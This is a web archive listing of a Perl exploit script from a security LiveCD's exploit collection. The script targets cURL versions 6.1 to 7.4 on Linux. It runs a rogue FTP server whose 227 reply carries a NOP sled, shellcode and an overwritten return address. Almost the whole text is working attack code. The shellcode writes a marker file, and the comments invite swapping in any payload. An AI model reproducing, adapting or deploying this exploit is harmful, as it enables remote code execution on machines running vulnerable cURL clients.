home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / linux / remote / cURL-remote-LNX.pl < prev    next >
Perl Script  |  2005-02-12  |  3KB  |  89 lines

  1. #!/usr/bin/perl
  2. #
  3. # Remote linux cURL exploit for versions 6.1 - 7.4
  4. #
  5. # Written by zillion (at http://safemode.org && http://www.snosoft.com)
  6. # This exploit, which has been tested to work with cURL 6.4, 7.2 and 7.3,  
  7. # may only be used for testing purposes. Additionally, the author does not 
  8. # take any resposibilities for abuse of this file. More information about  
  9. # the used vulnerability can be found on securityfocus:
  10. #
  11. # http://online.securityfocus.com/bid/1804
  12. #
  13. # The shellcode will write "Owned by a cURL ;)" to the file /tmp/0wned.txt
  14. # You can replace it with whatever you want but be warned: due to buffer 
  15. # manipilation working shellcode might be altered.
  16. #
  17. # A FreeBSD version is also available on safemode.org
  18.  
  19. use IO::Socket;
  20. use Net::hostent;
  21.  
  22. $shellcode = # does a open() write() close() and exit(). 
  23.         "\xeb\x40\x5e\x31\xc0\x88\x46\x0e\xc6\x46\x21\x09\xfe\x46\x21".
  24.         "\x88\x46\x22\x8d\x5e\x0f\x89\x5e\x23\xb0\x05\x8d\x1e\x66\xb9".
  25.         "\x42\x04\x66\xba\xe4\x01\xcd\x80\x89\xc3\xb0\x04\x8b\x4e\x23".
  26.         "\x66\xba\x0f\x27\x66\x81\xea\xfc\x26\xcd\x80\xb0\x06\xcd\x80".
  27.         "\xb0\x01\x31\xdb\xcd\x80\xe8\xbb\xff\xff\xff\x2f\x74\x6d\x70".
  28.         "\x2f\x30\x77\x6e\x65\x64\x2e\x74\x78\x74\x23\x30\x77\x6e\x65".
  29.         "\x64\x20\x62\x79\x20\x61\x20\x63\x55\x52\x4c\x20\x3b\x29";
  30.  
  31. while($_ = $ARGV[0], /^-/) {
  32.     shift;       
  33.     last if /^--$/;
  34.     /^-p/ && do { $port = shift; };
  35.     /^-l/ && do { $list = 1; };
  36.     /^-o/ && do { $offset = shift; };
  37. }
  38.  
  39.  
  40. $id     = `id -u`; chop($id);
  41. $size   =  249;
  42. $esp    =  0xbffff810;
  43. $offset =  -150 unless $offset;
  44. $port   =  21 unless $port;
  45.  
  46. if(!$list || $port > 1024 && $id != 0) {
  47.  
  48. print <<"TWENTE";
  49.  
  50.    Usage :  $0 -l 
  51.    Option:  $0 -p <port to listen on>
  52.    Option:  $0 -o <offset>
  53.  
  54.    Note: low ports require root privileges
  55.  
  56. TWENTE
  57. exit;
  58.  
  59. }
  60.  
  61. for ($i = 0; $i < ($size - length($shellcode)) - 4; $i++) {
  62.     $buffer .= "\x90";
  63. }
  64.  
  65. $buffer .= "$shellcode";
  66. $buffer .= pack('l', ($esp + $offset)); 
  67.  
  68. print("Listening on port $port. We are using return address: 0x", sprintf('%lx',($esp - $offset)), "\n");
  69.  
  70. my $sock = new IO::Socket::INET (
  71.                                  LocalPort => $port,
  72.                                  Proto => 'tcp',
  73.                                  Listen => 1,
  74.                                  Reuse => 1,
  75.                                 );
  76. die "Could not create socket: $!\n" unless $sock;
  77.  
  78. while($cl = $sock->accept()) {
  79.  
  80.    $hostinfo = gethostbyaddr($cl->peeraddr);
  81.    printf "[Received connect from %s]\n", $hostinfo->name || $cl->peerhost;
  82.    print $cl "220 Safemode.org FTP server (Version 666) ready.\n";
  83.    print $cl "230 Ok\n";
  84.    print $cl "227 $buffer\n";
  85.    sleep 2;
  86.  
  87. }
  88.